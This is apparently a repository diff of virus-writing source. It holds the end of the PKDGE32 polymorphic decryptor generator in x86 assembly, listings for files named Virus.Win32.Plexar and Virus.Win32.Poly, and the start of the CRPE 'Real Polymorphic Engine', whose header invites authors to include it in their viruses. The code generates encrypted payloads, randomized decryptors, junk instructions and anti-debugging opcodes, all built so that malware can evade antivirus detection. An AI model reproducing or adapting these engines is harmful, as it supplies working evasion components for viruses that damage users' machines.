stosb ; ...
|
||||
add edi,eax ; ...
|
||||
mov ah,bh ; seh instruction 9
|
||||
and eax,700h ; ...
|
||||
or eax,0c031h ; ...
|
||||
push ebx ; ...
|
||||
and ebx,700h ; ...
|
||||
shl ebx,3 ; ...
|
||||
or eax,ebx ; ...
|
||||
pop ebx ; ...
|
||||
stosw ; ...
|
||||
xor eax,eax ; some junk code
|
||||
call __pkdge32_junk ; ...
|
||||
mov eax,8f64h ; seh instruction 10
|
||||
stosw ; ...
|
||||
mov al,bh ; ...
|
||||
and eax,7 ; ...
|
||||
stosb ; ...
|
||||
xor eax,eax ; some junk code
|
||||
call __pkdge32_junk ; ...
|
||||
mov al,bh ; seh instruction 11
|
||||
and al,7 ; ...
|
||||
or al,58h ; ...
|
||||
stosb ; ...
|
||||
xor eax,eax ; some junk code
|
||||
call __pkdge32_junk ; ...
|
||||
add esp,8 ; balance the stack
|
||||
|
||||
;
|
||||
; Now, generate the first two instructionz with junk codez between them, and
|
||||
; permute the two instructionz in a random order.
|
||||
;
|
||||
|
||||
mov ecx,2
|
||||
call __random_rdtsc
|
||||
or ecx,ecx
|
||||
jz pkdg_gen_12
|
||||
call pkdg_gen_1
|
||||
call pkdg_gen_2
|
||||
jmp pkdg_gen_f2f
|
||||
pkdg_gen_12: call pkdg_gen_2
|
||||
call pkdg_gen_1
|
||||
|
||||
;
|
||||
; The last step, we generate the last four instructionz with junk codez in them
|
||||
; these four instructionz must in the same order, but the registerz they use
|
||||
; are still random
|
||||
;
|
||||
|
||||
pkdg_gen_f2f: mov esi,[esp+4] ; restore ESI
|
||||
push edi ; save loop address
|
||||
|
||||
push esi
|
||||
mov eax,ebx ; xor byte [Rw],Imm8
|
||||
shr eax,12 ; ...
|
||||
and al,7 ; ...
|
||||
mov esi,[esp+28] ; ...
|
||||
call __pkdge32_gen_xor_reg_imm
|
||||
pop esi
|
||||
xor eax,eax
|
||||
call __pkdge32_junk
|
||||
|
||||
mov eax,ebx ; inc Rw
|
||||
shr eax,12 ; ...
|
||||
and eax,7 ; ...
|
||||
or al,40h
|
||||
stosb
|
||||
xor eax,eax
|
||||
call __pkdge32_junk
|
||||
|
||||
mov eax,ebx ; dec Rz
|
||||
shr eax,4 ; ...
|
||||
and eax,7 ; ...
|
||||
or al,48h ; ...
|
||||
stosb ; ...
|
||||
|
||||
pop eax ; jnz decrypt_loop
|
||||
sub eax,edi ; get delta
|
||||
dec eax ; ...
|
||||
dec eax ; ...
|
||||
push eax
|
||||
mov al,75h ; write opcode
|
||||
stosb ; ...
|
||||
pop eax
|
||||
stosb ; write operand
|
||||
xor eax,eax
|
||||
call __pkdge32_junk
|
||||
|
||||
mov [esp],edi ; save new EDI
|
||||
popad
|
||||
ret
|
||||
|
||||
pkdg_gen_1: mov esi,[esp+20] ; get offset code2decrypt
|
||||
mov eax,ebx ; get Rw
|
||||
shr eax,12 ; ...
|
||||
call pkdge32_gen12
|
||||
mov [esp+32],eax ; save offset of code2decrypt
|
||||
ret
|
||||
pkdg_gen_2: mov esi,[esp+28] ; get decrypt_size
|
||||
mov eax,ebx ; get Rz
|
||||
shr eax,4 ; ...
|
||||
and eax,0fh ; ...
|
||||
call pkdge32_gen12
|
||||
ret
|
||||
|
||||
;
|
||||
; Using this function to generate the first two instructionz of the decryptor,
|
||||
; which are permutable
|
||||
;
|
||||
|
||||
pkdge32_gen12: push ecx
|
||||
push eax ; save mask
|
||||
mov ecx,2 ; determine using MOV REG/IMM
|
||||
call __random_rdtsc ; or PUSH IMM/POP REG
|
||||
or eax,eax
|
||||
pop eax ; restore mask
|
||||
pop ecx
|
||||
jz pkdg_g123_0
|
||||
call __pkdge32_gen_mov_reg_imm
|
||||
push edi
|
||||
xor eax,eax
|
||||
mov esi,[esp+16]
|
||||
call __pkdge32_junk
|
||||
pop eax
|
||||
sub eax,4
|
||||
ret
|
||||
pkdg_g123_0: call __pkdge32_gen_pushimm_popreg
|
||||
push eax
|
||||
xor eax,eax
|
||||
mov esi,[esp+16]
|
||||
call __pkdge32_junk
|
||||
pop eax
|
||||
sub eax,4
|
||||
ret
|
||||
|
||||
;
|
||||
; This procudure selectz the random register Rw, Rx, Ry, Rz. The function will
|
||||
; make EBX to the following structure:
|
||||
;
|
||||
; 31 15 0
|
||||
; +-----+-----+-----+-----+------+------+------+------+
|
||||
; | 0 | 0 | 0 | 0 | Rw | Ry | Rz | Rx |
|
||||
; +-----+-----+-----+-----+------+------+------+------+
|
||||
;
|
||||
|
||||
pkdg_sel_reg: mov eax,[esp+8] ; select random register
|
||||
mov edx,8 ; ...
|
||||
call __random ; ...
|
||||
or al,al
|
||||
jz pkdg_sel_reg ; don't use EAX
|
||||
cmp al,4
|
||||
jz pkdg_sel_reg ; don't use ESP
|
||||
cmp al,5
|
||||
jz pkdg_sel_reg ; don't use EBP
|
||||
or al,8 ; DWORD type
|
||||
|
||||
push ebx
|
||||
and ebx,0fh
|
||||
cmp bl,al ; R == Rx ?
|
||||
pop ebx
|
||||
jz pkdg_sel_reg
|
||||
|
||||
push ebx
|
||||
shr ebx,4
|
||||
and ebx,0fh
|
||||
cmp bl,al ; R == Rz ?
|
||||
pop ebx
|
||||
jz pkdg_sel_reg
|
||||
|
||||
push ebx
|
||||
shr ebx,8
|
||||
cmp bl,al ; R == Ry ?
|
||||
pop ebx
|
||||
jz pkdg_sel_reg
|
||||
|
||||
push ebx
|
||||
shr ebx,12
|
||||
cmp bl,al ; R == Rw ?
|
||||
pop ebx
|
||||
jz pkdg_sel_reg
|
||||
ret
|
||||
|
||||
|
||||
;
|
||||
; __pkdge32_test_regmask procedure
|
||||
; ================================
|
||||
;
|
||||
;
|
||||
; Description
|
||||
; -----------
|
||||
;
|
||||
; All the register mask in the engine (PKDGE32) measure up this formula:
|
||||
; bit 2~0 specifies the register mask, bit 8 and bit 3 specifies the type of
|
||||
; the operand
|
||||
;
|
||||
; +-------+-------+--------+
|
||||
; | bit 8 | bit 3 | type |
|
||||
; +-------+-------+--------+
|
||||
; | x | 0 | byte |
|
||||
; +-------+-------+--------+
|
||||
; | 0 | 1 | dword |
|
||||
; +-------+-------+--------+
|
||||
; | 1 | 1 | word |
|
||||
; +-------+-------+--------+
|
||||
;
|
||||
; This function test this mask, if it specified a WORD type, the function STOSB
|
||||
; an accessorial opcode 66H. If it specified a BYTE or DWORD type, function do
|
||||
; nothing but return
|
||||
;
|
||||
;
|
||||
; Parameterz and Return Value
|
||||
; ---------------------------
|
||||
;
|
||||
; Input:
|
||||
; eax --- register mask
|
||||
; edi --- pointz to the buffer to save the instructionz
|
||||
;
|
||||
; Output:
|
||||
; Nothing
|
||||
;
|
||||
|
||||
__pkdge32_test_regmask:
|
||||
test ah,1
|
||||
jz pkdg_trm_ret
|
||||
push eax
|
||||
mov al,66h
|
||||
stosb
|
||||
pop eax
|
||||
pkdg_trm_ret: ret
|
||||
|
||||
|
||||
;
|
||||
; __pkdge32_gen_mov_reg_imm procedure
|
||||
; ===================================
|
||||
;
|
||||
;
|
||||
; Description
|
||||
; -----------
|
||||
;
|
||||
; This function generatez MOV REG,IMM type of instructionz.
|
||||
;
|
||||
;
|
||||
; Parameterz and Return Value
|
||||
; ---------------------------
|
||||
;
|
||||
; Input:
|
||||
; eax --- register mask
|
||||
; edi --- pointz to the buffer to save the instructionz
|
||||
; esi --- immediate number (source operand)
|
||||
;
|
||||
; Output:
|
||||
; Generate a instruction in the buffer EDI pointed, EDI pointz to the new
|
||||
; position in the buffer
|
||||
;
|
||||
|
||||
__pkdge32_gen_mov_reg_imm:
|
||||
call __pkdge32_test_regmask
|
||||
push esi
|
||||
or al,0b0h ; generate opcode
|
||||
stosb ; ...
|
||||
xchg eax,esi ; EAX get the operand
|
||||
shr esi,4
|
||||
jc pkdg_gmri_dw ; word/dword ? byte ?
|
||||
stosb ; byte
|
||||
pop esi
|
||||
ret
|
||||
pkdg_gmri_dw: shr esi,5
|
||||
pop esi
|
||||
jc pkdg_gmri_w
|
||||
stosd ; dword
|
||||
ret
|
||||
pkdg_gmri_w: stosw ; word
|
||||
ret
|
||||
|
||||
|
||||
;
|
||||
; __pkdge32_gen_pushimm_popreg procedure
|
||||
; ======================================
|
||||
;
|
||||
;
|
||||
; Description
|
||||
; -----------
|
||||
;
|
||||
; This function generatez PUSH IMM/POP REG group instructionz.
|
||||
;
|
||||
;
|
||||
; Parameterz and Return Value
|
||||
; ---------------------------
|
||||
;
|
||||
; Input:
|
||||
; eax --- register mask
|
||||
; edi --- pointz to the buffer to save the instructionz
|
||||
; esi --- immediate number (source operand)
|
||||
;
|
||||
; Output:
|
||||
; Generate a instruction in the buffer EDI pointed, EDI pointz to the new
|
||||
; position in the buffer
|
||||
;
|
||||
|
||||
__pkdge32_gen_pushimm_popreg:
|
||||
call __pkdge32_test_regmask
|
||||
push ecx
|
||||
mov ecx,esi ; save IMM in ecx
|
||||
xchg esi,eax
|
||||
test esi,8 ; test BYTE or WORD/DWORD
|
||||
jz pkdg_gpp_b
|
||||
mov al,68h ; push WORD/DWORD
|
||||
stosb ; write opcode
|
||||
xchg eax,ecx ; get IMM
|
||||
test esi,100h ; test WORD or DWORD
|
||||
jnz pkdg_gpp_w
|
||||
stosd ; write operand
|
||||
jmp pkdg_gpp_pop
|
||||
pkdg_gpp_w: stosw
|
||||
jmp pkdg_gpp_pop
|
||||
pkdg_gpp_b: mov al,6ah ; push BYTE
|
||||
stosb ; write opcode
|
||||
mov al,cl ; get IMM
|
||||
stosb ; write operand
|
||||
pkdg_gpp_pop: push edi
|
||||
xor eax,eax
|
||||
push esi
|
||||
mov esi,[esp+28]
|
||||
call __pkdge32_junk
|
||||
pop esi
|
||||
call __pkdge32_test_regmask
|
||||
xchg esi,eax
|
||||
or al,58h ; generate POP opcode
|
||||
stosb ; write pop REG opcode
|
||||
pop eax
|
||||
pop ecx
|
||||
ret
|
||||
|
||||
|
||||
;
|
||||
; __pkdge32_gen_xor_reg_imm procedure
|
||||
; ===================================
|
||||
;
|
||||
;
|
||||
; Description
|
||||
; -----------
|
||||
;
|
||||
; This function generatez XOR [REG],IMM type of instructionz.
|
||||
;
|
||||
;
|
||||
; Parameterz and Return Value
|
||||
; ---------------------------
|
||||
;
|
||||
; Input:
|
||||
; eax --- register mask
|
||||
; esi --- the immediate number
|
||||
; edi --- pointz to the buffer to save the instructionz
|
||||
;
|
||||
; Output:
|
||||
; Generate a instruction in the buffer EDI pointed, EDI pointz to the new
|
||||
; position in the buffer
|
||||
;
|
||||
|
||||
__pkdge32_gen_xor_reg_imm:
|
||||
call __pkdge32_test_regmask
|
||||
test al,1000b
|
||||
jnz pkdg_gxri_dw
|
||||
and eax,7 ; register mask
|
||||
xchg al,ah
|
||||
or eax,3080h
|
||||
stosw
|
||||
xchg eax,esi
|
||||
stosb
|
||||
ret
|
||||
pkdg_gxri_dw: push eax
|
||||
and eax,7 ; register mask
|
||||
xchg al,ah
|
||||
or eax,3081h
|
||||
stosw
|
||||
xchg eax,esi
|
||||
pop esi
|
||||
shr esi,9
|
||||
jc pkdg_gxri_w
|
||||
stosd ; dword
|
||||
ret
|
||||
pkdg_gxri_w: stosw ; word
|
||||
ret
|
||||
|
||||
|
||||
;
|
||||
; __pkdge32_junk procedure
|
||||
; ========================
|
||||
;
|
||||
;
|
||||
; Decription
|
||||
; ----------
|
||||
;
|
||||
; This is the junk code generator. It generatez length-spceified instructionz,
|
||||
; dummy jumpz and anti-static-debugging opcodez.
|
||||
;
|
||||
; This procedure use EAX as junk register in order to generate instructionz
|
||||
; like:
|
||||
;
|
||||
; mov eax,21343ab7h
|
||||
; shr eax,8
|
||||
; or:
|
||||
; push eax
|
||||
; rol eax,1
|
||||
; pop eax
|
||||
; etc.
|
||||
;
|
||||
; It generatez dummy jumpz such as:
|
||||
;
|
||||
; call @1
|
||||
; junk
|
||||
; jmp @3
|
||||
; @2: junk
|
||||
; ret
|
||||
; @1: junk
|
||||
; jmp @2
|
||||
; @3: junk
|
||||
;
|
||||
; It also generatez anti-static-debugging opcodez such as:
|
||||
;
|
||||
; jmp @0
|
||||
; db e9h
|
||||
; @@:
|
||||
;
|
||||
;
|
||||
; Parameterz and Return Value
|
||||
; ---------------------------
|
||||
;
|
||||
; Input:
|
||||
; eax --- If eax equalz to zero, the function generatez random length of
|
||||
; instructionz, if eax is nonzero, the function generatez a
|
||||
; certain length of instruction.
|
||||
; esi --- pointz to the RNG seed buffer
|
||||
; edi --- pointz to the buffer to save the instructionz
|
||||
;
|
||||
; Output:
|
||||
; Nothing but junk codez in the buffer that EDI specified
|
||||
;
|
||||
|
||||
__pkdge32_junk: pushad
|
||||
xor ebx,ebx
|
||||
xchg esi,ebp ; let EBP hold the seed ptr.
|
||||
or eax,eax ; EAX containz number from 0~7
|
||||
jnz pkdg_js ; 0~5: gen. 0~5 bytez of junk codez
|
||||
mov edx,7 ; 6: generate dummy jumpz
|
||||
mov eax,ebp
|
||||
call __random ; ...
|
||||
pkdg_js: or eax,eax ; 0: nothing to do
|
||||
jz pkdg_j_ret ; just go back
|
||||
xchg ecx,eax ; let ECX hold that number
|
||||
cmp ecx,6
|
||||
jz pkdg_j_dj
|
||||
|
||||
;
|
||||
; Generate certain length simpile instructionz
|
||||
;
|
||||
|
||||
pkdg_j_gclsi: mov edx,ecx
|
||||
mov eax,ebp
|
||||
call __random
|
||||
or eax,eax
|
||||
jz pkdg_j_g1b
|
||||
dec eax
|
||||
jz pkdg_j_g2b
|
||||
dec eax
|
||||
jz pkdg_j_g3b
|
||||
dec eax
|
||||
dec eax
|
||||
jz pkdg_j_g5b
|
||||
jmp pkdg_j_gclsi
|
||||
|
||||
;
|
||||
; Generate 5-byte instruction
|
||||
;
|
||||
|
||||
pkdg_j_g5b: call pkdg_j_5
|
||||
db 0b8h ; mov eax,imm32
|
||||
db 05h ; add eax,imm32
|
||||
db 15h ; adc eax,imm32
|
||||
db 2dh ; sub eax,imm32
|
||||
db 1dh ; sbb eax,imm32
|
||||
db 3dh ; cmp eax,imm32
|
||||
db 0a9h ; test eax,imm32
|
||||
db 0dh ; or eax,imm32
|
||||
db 25h ; and eax,imm32
|
||||
db 35h ; xor eax,imm32
|
||||
pkdg_j_5: pop esi
|
||||
mov eax,ebp
|
||||
mov edx,10
|
||||
call __random
|
||||
add esi,eax
|
||||
movsb
|
||||
mov eax,ebp
|
||||
mov edx,0fffffffch
|
||||
call __random
|
||||
inc eax
|
||||
inc eax
|
||||
stosd
|
||||
sub ecx,5 ; decrease counter
|
||||
jz pkdg_j_rptr
|
||||
jmp pkdg_j_gclsi
|
||||
|
||||
;
|
||||
; Generate 3-byte instruction
|
||||
;
|
||||
|
||||
pkdg_j_g3b: call pkdg_j_3
|
||||
db 0c1h,0e0h ; shl eax,imm8
|
||||
db 0c1h,0e8h ; shr eax,imm8
|
||||
db 0c1h,0c0h ; rol eax,imm8
|
||||
db 0c1h,0c8h ; ror eax,imm8
|
||||
db 0c1h,0d0h ; rcl eax,imm8
|
||||
db 0c1h,0d8h ; rcr eax,imm8
|
||||
db 0c0h,0e0h ; shl al,imm8
|
||||
db 0c0h,0e8h ; shr al,imm8
|
||||
db 0c0h,0c0h ; rol al,imm8
|
||||
db 0c0h,0c8h ; ror al,imm8
|
||||
db 0c0h,0d0h ; rcl al,imm8
|
||||
db 0c0h,0d8h ; rcr al,imm8
|
||||
db 0ebh,01h ; anti-static-debugging instr.
|
||||
pkdg_j_3: pop esi
|
||||
mov eax,ebp
|
||||
mov edx,13
|
||||
call __random
|
||||
shl eax,1 ; EAX *= 2
|
||||
add esi,eax
|
||||
movsw
|
||||
cmp eax,24
|
||||
jge pkdg_j3_anti
|
||||
mov eax,ebp
|
||||
mov edx,14
|
||||
call __random
|
||||
inc eax
|
||||
inc eax
|
||||
pkdg_j_3f: stosb
|
||||
sub ecx,3 ; decrease counter
|
||||
jz pkdg_j_rptr
|
||||
jmp pkdg_j_gclsi
|
||||
pkdg_j3_anti: mov eax,ebp
|
||||
mov edx,10h
|
||||
call __random
|
||||
add al,70h
|
||||
jmp pkdg_j_3f
|
||||
|
||||
;
|
||||
; Generate 2-byte instruction
|
||||
;
|
||||
|
||||
pkdg_j_g2b: call pkdg_j_2
|
||||
db 89h ; mov eax,reg
|
||||
db 01h ; add eax,reg
|
||||
db 11h ; adc eax,reg
|
||||
db 29h ; sub eax,reg
|
||||
db 19h ; sbb eax,reg
|
||||
db 39h ; cmp eax,reg
|
||||
db 85h ; test eax,reg
|
||||
db 09h ; or eax,reg
|
||||
db 21h ; and eax,reg
|
||||
db 31h ; xor eax,reg
|
||||
db 0b0h ; mov al,imm8
|
||||
db 04h ; add al,imm8
|
||||
db 14h ; adc al,imm8
|
||||
db 2ch ; sub al,imm8
|
||||
db 1ch ; sbb al,imm8
|
||||
db 3ch ; cmp al,imm8
|
||||
db 0a8h ; test al,imm8
|
||||
db 0ch ; or al,imm8
|
||||
db 24h ; and al,imm8
|
||||
db 34h ; xor al,imm8
|
||||
pkdg_j_2: pop esi
|
||||
mov eax,ebp
|
||||
mov edx,20
|
||||
call __random
|
||||
add esi,eax
|
||||
movsb ; write the opcode
|
||||
cmp eax,10
|
||||
jge pkdg_j2_imm8
|
||||
mov eax,ebp
|
||||
mov edx,8
|
||||
call __random
|
||||
shl eax,3 ; dest. operand
|
||||
or al,0c0h ; ...
|
||||
jmp pkdg_j2_f
|
||||
pkdg_j2_imm8: mov eax,ebp
|
||||
mov edx,100h
|
||||
call __random
|
||||
pkdg_j2_f: stosb
|
||||
dec ecx ; decrease counter
|
||||
dec ecx ; ...
|
||||
jz pkdg_j_rptr
|
||||
jmp pkdg_j_gclsi
|
||||
|
||||
;
|
||||
; Generate 1-byte instruction
|
||||
;
|
||||
|
||||
pkdg_j_g1b: call pkdg_j_1
|
||||
db 90h ; nop
|
||||
db 0f8h ; clc
|
||||
db 0f9h ; stc
|
||||
db 40h ; inc eax
|
||||
db 48h ; dec eax
|
||||
db 37h ; aaa
|
||||
db 3fh ; aas
|
||||
db 98h ; cbw
|
||||
db 0fch ; cld
|
||||
db 0f5h ; cmc
|
||||
db 27h ; daa
|
||||
db 2fh ; das
|
||||
db 9fh ; lahf
|
||||
db 0d6h ; salc
|
||||
pkdg_j_1: pop esi
|
||||
mov eax,ebp
|
||||
mov edx,14
|
||||
call __random
|
||||
add esi,eax
|
||||
movsb ; write the code
|
||||
dec ecx ; decrease counter
|
||||
or ecx,ecx
|
||||
jnz pkdg_j_gclsi
|
||||
pkdg_j_rptr: mov [esp],edi
|
||||
pkdg_j_ret: popad
|
||||
ret
|
||||
|
||||
;
|
||||
; Generate dummy jumpz. the generation formula show in the decription of the
|
||||
; __pkdge32_junk procedure
|
||||
;
|
||||
|
||||
pkdg_j_dj: mov al,0e8h ; call xxxxxxxx
|
||||
stosb ; ...
|
||||
stosd ; addr1, no matter what, fix l8r
|
||||
push edi
|
||||
mov eax,ebp ; some more junx
|
||||
mov edx,6 ; ...
|
||||
call __random ; ...
|
||||
mov esi,ebp ; ...
|
||||
call __pkdge32_junk ; ...
|
||||
mov al,0ebh ; jmp xx
|
||||
stosb ; ...
|
||||
stosb ; addr2, no matter what, fix l8r
|
||||
push edi
|
||||
mov eax,ebp ; some more junx
|
||||
mov edx,6 ; ...
|
||||
call __random ; ...
|
||||
mov esi,ebp ; ...
|
||||
call __pkdge32_junk ; ...
|
||||
mov al,0c3h ; ret
|
||||
stosb ; ...
|
||||
mov eax,[esp+4] ; fix addr1
|
||||
xchg eax,edi ; ...
|
||||
sub eax,edi ; ...
|
||||
sub edi,4 ; ...
|
||||
stosd ; ...
|
||||
add edi,eax ; ...
|
||||
mov eax,ebp ; some more junx
|
||||
mov edx,6 ; ...
|
||||
call __random ; ...
|
||||
mov esi,ebp ; ...
|
||||
call __pkdge32_junk ; ...
|
||||
mov al,0ebh ; jmp xx
|
||||
stosb ; ...
|
||||
mov eax,[esp] ; ...
|
||||
sub eax,edi ; ...
|
||||
dec eax ; ...
|
||||
stosb ; ...
|
||||
pop eax ; fix addr2
|
||||
xchg eax,edi ; ...
|
||||
sub eax,edi ; ...
|
||||
dec edi ; ...
|
||||
stosb ; ...
|
||||
add edi,eax ; ...
|
||||
pop eax ; pop a shit
|
||||
mov eax,ebp ; some more junx
|
||||
mov edx,6 ; ...
|
||||
call __random ; ...
|
||||
mov esi,ebp ; ...
|
||||
call __pkdge32_junk ; ...
|
||||
jmp pkdg_j_rptr
|
3192
Engines/Virus.Win32.Plexar.asm
Normal file
3192
Engines/Virus.Win32.Plexar.asm
Normal file
File diff suppressed because it is too large
Load Diff
BIN
Engines/Virus.Win32.Poly.7z
Normal file
BIN
Engines/Virus.Win32.Poly.7z
Normal file
Binary file not shown.
705
Engines/Virus.Win32.Real.inc
Normal file
705
Engines/Virus.Win32.Real.inc
Normal file
@ -0,0 +1,705 @@
|
||||
;-------------------------------------------------------------------------------
|
||||
;
|
||||
; CRPE - cH4R_ Real Polymorphic Engine
|
||||
;
|
||||
; by cH4R_/iKX
|
||||
;
|
||||
; Version: 1.5
|
||||
;
|
||||
;-------------------------------------------------------------------------------
|
||||
; http://www.charvx.cjb.net
|
||||
;-------------------------------------------------------------------------------
|
||||
; LICENSE: You can do ANYTHING with this code, this code have NO WARRANTLY of
|
||||
; work, and the author will NOT be responsible for damages to your machine or
|
||||
; any other machine. If you will use it in your virus, just give me some
|
||||
; credits, and i will be happy. ;*
|
||||
;-------------------------------------------------------------------------------
|
||||
;
|
||||
; News:
|
||||
;
|
||||
; - New code layout (tabs :P)
|
||||
; - Some optimizations for size and speed
|
||||
; - Improved morphing & trash generation
|
||||
; - A lot of bugs fixed, now CRPE is completely working !! :D
|
||||
;
|
||||
;-------------------------------------------------------------------------------
|
||||
;
|
||||
; CRPE in pratice:
|
||||
;
|
||||
; To use it in your virus u will have to include CRPE in your
|
||||
; source (duh!). Before call the engine to make a poly decryptor,
|
||||
; "YOU" will have to find a place to HASH, used obtain a the
|
||||
; encryption/decryption key.
|
||||
; Your code must allow 586 instructions and have about 100
|
||||
; bytes of stack memory for CRPE.
|
||||
;
|
||||
; ------> Input (in STACK):
|
||||
;
|
||||
; Arg1 = [POINTER TO DATA, YOU WANNA ENCRYPT]
|
||||
; Arg2 = [SIZE OF DATA, YOU WANNA ENCRYPT]
|
||||
; Arg3 = [BUFFER TO CRPE SAVE "CALL + ENCRYPTED DATA + DECRYPTOR"]
|
||||
; Arg4 = [SIZE OF AREA TO HASH]
|
||||
; Arg5 = [POINTER TO AREA THAT WE WILL HASH]
|
||||
; Arg6 = [POINTER TO AREA THAT WE WILL HASH, IN INFECTED FILE]
|
||||
;
|
||||
; ------> Output:
|
||||
;
|
||||
; EAX = Size of "TRASH + CALL + ENCRYPTED DATA + DECRYPTOR"
|
||||
; * ALL other register will be restored
|
||||
; ** Flags will be "corrupted"
|
||||
;
|
||||
; ------> Example (for dummy guys):
|
||||
;
|
||||
; In data section:
|
||||
;
|
||||
; Buf db (CRPE_max_total + SIZE_OF_YOUR_CODE) dup (0)
|
||||
;
|
||||
; In code section:
|
||||
;
|
||||
; push 00401000h ; Area to hash, in infected file
|
||||
; push edx ; Area to hash, now
|
||||
; push 00000200h ; Size of area to hash
|
||||
; push [ebp+Buf] ; Buffer
|
||||
; push CODE_SIZE ; Size of area to encrypt
|
||||
; push [ebp+CODE_BEGIN] ; Pointer to area to encrypt
|
||||
; call CRPE_make
|
||||
;
|
||||
; ------> The result will be something like:
|
||||
;
|
||||
; [SOME TRASH INSTRUCTIONS]
|
||||
;
|
||||
; [CALL POLY_DECRYPTOR]
|
||||
;
|
||||
; [ENCRYPTED DATA]
|
||||
;
|
||||
; [POLY_DECRYPTOR]
|
||||
;
|
||||
;-------------------------------------------------------------------------------
|
||||
|
||||
|
||||
; -- User information to allocate memory --
|
||||
|
||||
; Max. size of decryptor in bytes
|
||||
CRPE_max_dec equ 0A3h
|
||||
; Max. memory required, SizeOf( [TRASH] + CALL POLY_DECRYPTOR + POLY_DECRYPTOR )
|
||||
CRPE_max_total equ CRPE_max_dec+02Fh
|
||||
|
||||
; -----------------------------------------
|
||||
|
||||
; Things to save my time...
|
||||
ofs equ offset
|
||||
bye equ byte ptr
|
||||
dwo equ dword ptr
|
||||
wod equ word ptr
|
||||
|
||||
; Structure of PUSHAD
|
||||
STACK_REG STRUCT
|
||||
_EDI dd ?
|
||||
_ESI dd ?
|
||||
_EBP dd ?
|
||||
_ESP dd ?
|
||||
_EBX dd ?
|
||||
_EDX dd ?
|
||||
_ECX dd ?
|
||||
_EAX dd ?
|
||||
STACK_REG ENDS
|
||||
|
||||
; PUSHAD structure size
|
||||
STACK_REGS equ SIZE STACK_REG
|
||||
|
||||
; Structure of stack used in CRPE
|
||||
|
||||
; Arguments
|
||||
arg6 equ 18h
|
||||
arg5 equ 14h
|
||||
arg4 equ 10h
|
||||
arg3 equ 0Ch
|
||||
arg2 equ 08h
|
||||
arg1 equ 04h
|
||||
|
||||
; SizeOf( PUSHAD + TEMPORARY MEMORY )
|
||||
CRPE_stack equ CRPE_tmp+STACK_REGS
|
||||
|
||||
; Size of temporary memory
|
||||
CRPE_tmp equ 0Fh
|
||||
|
||||
; Registers
|
||||
R_EAX equ 0
|
||||
R_ECX equ 1
|
||||
R_EDX equ 2
|
||||
R_EBX equ 3
|
||||
R_ESP equ 4
|
||||
R_EBP equ 5
|
||||
R_ESI equ 6
|
||||
R_EDI equ 7
|
||||
|
||||
; CRPE Signature
|
||||
db "[CRPE]"
|
||||
|
||||
;-------------------------------------------------------------------------------
|
||||
; Main procedure of CRPE
|
||||
;-------------------------------------------------------------------------------
|
||||
; Input:
|
||||
; Arg1 = [POINTER TO DATA, YOU WANNA ENCRYPT]
|
||||
; Arg2 = [SIZE OF DATA, YOU WANNA ENCRYPT]
|
||||
; Arg3 = [BUFFER TO CRPE SAVE "TRASH + CALL + ENCRYPTED DATA + DECRYPTOR"]
|
||||
; Arg4 = [SIZE OF AREA TO HASH]
|
||||
; Arg5 = [POINTER TO AREA THAT WE WILL HASH, NOW]
|
||||
; Arg6 = [POINTER TO AREA THAT WE WILL HASH, IN INFECTED FILE]
|
||||
; Output:
|
||||
; EAX = Size of result ("TRASH + CALL + ENCRYPTED DATA + DECRYPTOR") in bytes
|
||||
|
||||
CRPE_make proc
|
||||
|
||||
pushad ; Save registers...
|
||||
|
||||
; Set memory
|
||||
|
||||
sub esp,CRPE_tmp ; Reserve stack
|
||||
mov ebp,esp ; EBP = Pointer to reserved stack
|
||||
|
||||
mov edi,[esp+CRPE_stack+arg3] ; EDI = Pointer to buffer
|
||||
|
||||
; Generate initial TRASH + CALL
|
||||
|
||||
call CRPE_tg ; Generate some trash..
|
||||
|
||||
push 1 ; We will generate more trash ?
|
||||
call CRPE_rnd ;
|
||||
xchg eax,ecx ; Choose: YES or NOT
|
||||
jecxz @insert_call ;
|
||||
|
||||
call CRPE_tg ; Generate more trash...
|
||||
|
||||
@insert_call:
|
||||
mov al,0E8h ; Generate: CALL opcode
|
||||
stosb ; write...
|
||||
mov eax,edi ; Generate: immed32
|
||||
add eax,[esp+CRPE_stack+arg2] ;
|
||||
sub eax,edi ;
|
||||
stosd ; write...
|
||||
|
||||
; Copy
|
||||
|
||||
mov ecx,[esp+CRPE_stack+arg2] ; ECX = Size of area to encrypt
|
||||
mov esi,[esp+CRPE_stack+arg1] ; ESI = Pointer to area
|
||||
push edi ; Save EDI !
|
||||
push ecx ; Save ECX !
|
||||
cld ;
|
||||
rep movsb ; Copy...
|
||||
|
||||
; Hash
|
||||
|
||||
mov ebx,[esp+CRPE_stack+arg5+8] ; EBX = Area to hash
|
||||
mov ecx,[esp+CRPE_stack+arg4+8] ; ECX = Size of area to hash
|
||||
push -1 ;
|
||||
call CRPE_rnd ; EAX = Random number
|
||||
mov [ebp+4],eax ; Save "MAGIC" in temporary memory
|
||||
|
||||
push eax ; Arg3
|
||||
push ecx ; Arg2
|
||||
push ebx ; Arg1
|
||||
call CRPE_hash ; Hash...
|
||||
|
||||
; Encrypt
|
||||
|
||||
pop ecx ; Restore ECX !
|
||||
pop edx ; Restore EDI in EDX !
|
||||
|
||||
sub ecx,4 ; \ Some fixes...
|
||||
add edx,ecx ; /
|
||||
@@enc_loop:
|
||||
xor [edx],eax ; XOR [BUFFER], KEY
|
||||
xor eax,ecx ; XOR KEY, COUNTER
|
||||
dec edx
|
||||
dec ecx ; DEC COUNTER
|
||||
jns @@enc_loop ; encryption loop
|
||||
|
||||
; --- TRASH + PUSHAD ---
|
||||
|
||||
push 1 ;
|
||||
call CRPE_rnd ; Choose: YES or NO
|
||||
xchg eax,ecx ; Exchange: EAX <-> ECX
|
||||
jecxz @no_trash ; ECX = 0 ? Dont put trash...
|
||||
call CRPE_tg ; Trash gen. routine
|
||||
@no_trash: ;
|
||||
mov al,60h ; Generate: PUSHAD
|
||||
stosb ; Write...
|
||||
|
||||
; --- HASH INIT ---
|
||||
|
||||
; Generate MOV (REG32_1),Buffer
|
||||
push 3 ;
|
||||
call CRPE_rnd ; Get random number between 0-3
|
||||
mov [ebp],al ; Save AL in temporary memory
|
||||
or al,0B8h ; AL += B8h (opcode of MOV (REG),imm32)
|
||||
stosb ; Write..
|
||||
mov eax,[esp+CRPE_stack+arg6] ; imm32 = Pointer to buffer
|
||||
stosd ; Write..
|
||||
|
||||
; Generate MOV (REG32_2),Size
|
||||
@rnd_1: ;
|
||||
push 3 ;
|
||||
call CRPE_rnd ; Get random number between 0-3
|
||||
cmp [ebp],al ; AL = First value of AL ?
|
||||
jz @rnd_1 ; Randomize again...
|
||||
mov [ebp+1],al ; Save AL in temporary memory
|
||||
or al,0B8h ; AL += B8h (opcode of MOV (REG),imm32)
|
||||
stosb ; Write..
|
||||
